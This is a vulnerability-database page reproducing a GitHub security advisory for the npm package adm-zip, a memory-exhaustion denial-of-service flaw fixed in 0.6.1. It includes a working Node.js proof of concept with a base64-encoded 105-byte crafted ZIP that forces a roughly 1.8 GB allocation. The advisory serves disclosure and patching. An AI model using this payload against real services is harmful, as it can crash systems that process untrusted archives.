GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-7Q85-XJ36-VMFC

Vulnerability from github – Published: 2026-09-18 17:18 – Updated: 2026-09-18 17:18
VLAI
Summary
adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)
Details

Summary

adm-zip allocates an entry's output buffer from the declared uncompressed size (central-directory size field) before validating it against the actual data. A tiny crafted ZIP that declares a huge uncompressed size forces a multi-gigabyte allocation from a few bytes.

Impact

On adm-zip 0.5.17 (latest), Node 24, a 105-byte ZIP with one stored entry declaring size = 1,774,399,200 makes new AdmZip(buf).getEntries()[0].getData() commit ~1.8 GB of resident memory in ~4.4 s before throwing Error: ADM-ZIP: CRC32 checksum failed, roughly 16 million times the input size. Because the buffer is committed before any validation, on a memory-constrained host (containers, serverless, small VMs) the allocation OOM-kills the process before the CRC check (uncatchable), and concurrent requests can exhaust memory even on larger hosts. Any service that reads entries from untrusted ZIPs is exposed to a remote denial of service.

Steps to reproduce

Attachments are not supported in the advisory form, so the 105-byte PoC (sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386) is inlined as base64 in this self-contained reproducer:

const AdmZip = require('adm-zip');
// 105-byte crafted ZIP, base64-inlined
// sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386
const b64 = "UEsDBBQAAAAAAAAAAAAAAAAABQAAAAUAAAABAAAAYWhlbGxvUEsBAhQAFAAAAAAAAAAAAAAAAAAFAAAA4C7DaQEAAAAAAAAAAAAAAAAAAAAAAGFQSwUGAAAAAAEAAQAvAAAAJAAAAAAA";
const buf = Buffer.from(b64, "base64");          // 105 bytes
const zip = new AdmZip(buf);
zip.getEntries()[0].getData();   // commits ~1.8 GB, then throws "ADM-ZIP: CRC32 checksum failed"

The single entry declares uncompressed size = 1,774,399,200 with a compressed size of 5. getData() allocates the full declared size before the CRC check runs, so the memory is committed regardless of the (tiny) actual payload.

Root cause

zipEntry.js does Buffer.alloc(<declared uncompressed size>) before checking the declared size against the compressed size / available bytes.

Suggested fix

Validate the declared uncompressed size against the compressed size and a configurable maximum before allocating (yauzl, for example, requires the caller to bound this); reject or stream when the declared size is implausible relative to the input. Happy to send a patch.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "adm-zip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:18:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nadm-zip allocates an entry\u0027s output buffer from the declared uncompressed size (central-directory `size` field) before validating it against the actual data. A tiny crafted ZIP that declares a huge uncompressed size forces a multi-gigabyte allocation from a few bytes.\n\n### Impact\nOn adm-zip 0.5.17 (latest), Node 24, a 105-byte ZIP with one stored entry declaring size = 1,774,399,200 makes `new AdmZip(buf).getEntries()[0].getData()` commit ~1.8 GB of resident memory in ~4.4 s before throwing `Error: ADM-ZIP: CRC32 checksum failed`, roughly 16 million times the input size. Because the buffer is committed before any validation, on a memory-constrained host (containers, serverless, small VMs) the allocation OOM-kills the process before the CRC check (uncatchable), and concurrent requests can exhaust memory even on larger hosts. Any service that reads entries from untrusted ZIPs is exposed to a remote denial of service.\n\n### Steps to reproduce\nAttachments are not supported in the advisory form, so the 105-byte PoC (sha256 `980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386`) is inlined as base64 in this self-contained reproducer:\n\n```js\nconst AdmZip = require(\u0027adm-zip\u0027);\n// 105-byte crafted ZIP, base64-inlined\n// sha256 980d34356fbb248fe527b9d0ac3eabc5c99393a374014be6199523de16709386\nconst b64 = \"UEsDBBQAAAAAAAAAAAAAAAAABQAAAAUAAAABAAAAYWhlbGxvUEsBAhQAFAAAAAAAAAAAAAAAAAAFAAAA4C7DaQEAAAAAAAAAAAAAAAAAAAAAAGFQSwUGAAAAAAEAAQAvAAAAJAAAAAAA\";\nconst buf = Buffer.from(b64, \"base64\");          // 105 bytes\nconst zip = new AdmZip(buf);\nzip.getEntries()[0].getData();   // commits ~1.8 GB, then throws \"ADM-ZIP: CRC32 checksum failed\"\n```\n\nThe single entry declares uncompressed size = 1,774,399,200 with a compressed size of 5. `getData()` allocates the full declared size before the CRC check runs, so the memory is committed regardless of the (tiny) actual payload.\n\n### Root cause\n`zipEntry.js` does `Buffer.alloc(\u003cdeclared uncompressed size\u003e)` before checking the declared size against the compressed size / available bytes.\n\n### Suggested fix\nValidate the declared uncompressed size against the compressed size and a configurable maximum before allocating (yauzl, for example, requires the caller to bound this); reject or stream when the declared size is implausible relative to the input. Happy to send a patch.",
  "id": "GHSA-7q85-xj36-vmfc",
  "modified": "2026-09-18T17:18:01Z",
  "published": "2026-09-18T17:18:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-7q85-xj36-vmfc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cthackers/adm-zip"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…